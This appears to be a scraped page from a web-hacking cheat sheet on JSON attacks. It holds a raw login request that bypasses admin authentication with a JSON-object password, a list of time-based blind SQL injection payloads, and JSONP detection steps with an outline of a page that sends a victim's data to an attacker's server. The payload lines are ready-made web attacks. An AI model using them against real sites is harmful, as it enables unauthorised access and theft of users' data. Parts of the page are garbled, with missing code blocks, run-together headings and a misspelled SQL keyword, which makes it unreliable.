JSON Attack
JSON Injection
Bypass Admin Login
POST /api/login HTTP/1.1
Host: vuln-web.io
[...]
{"username":"admin","password":{"password": 1}}Blind SQL Injection
[-1+or+1%3d((SELET+1+FROM+(SELECT+SLEEP(5))A))]
{AnD SLEEP(5)}
{1 AnD SLEEP(5)}
{1' AnD SLEEP(5)--}
{sleep 5}
"emails":["AnD SLEEP(5)"]
"emails":["test@test.com OR SLEEP(5)#"]
{"options":{"id":[],"emails":["AnD SLEEP(5)"],Add Parameter


JSON Injection
Add \ud888
JSON Padding, JSONP
Detection
Add a callback parameter to a JSON URL, by appending
?callback=somethingto the URL.When a format type is provided, change it to JSONP. Change
?format=jsonto?format=jsonp.
Exploit
Json file

Add a query parameter of callback like this
If the endpoint has JSONP enabled it will create an object with the name of call_me and all the data will be inside that object like this.

Exploitation: create a .html file which will extract the data and store it on your desired server. You just have to send the URL to the victim
XSSI an JSONP
On your own server
Exfiltration
JSON Globbing
IDORNode.js
Node.jsInteresting Books
Interesting BooksThe Web Application Hacker’s Handbook The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
Real-World Bug Hunting: A Field Guide to Web Hacking Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.
Last updated
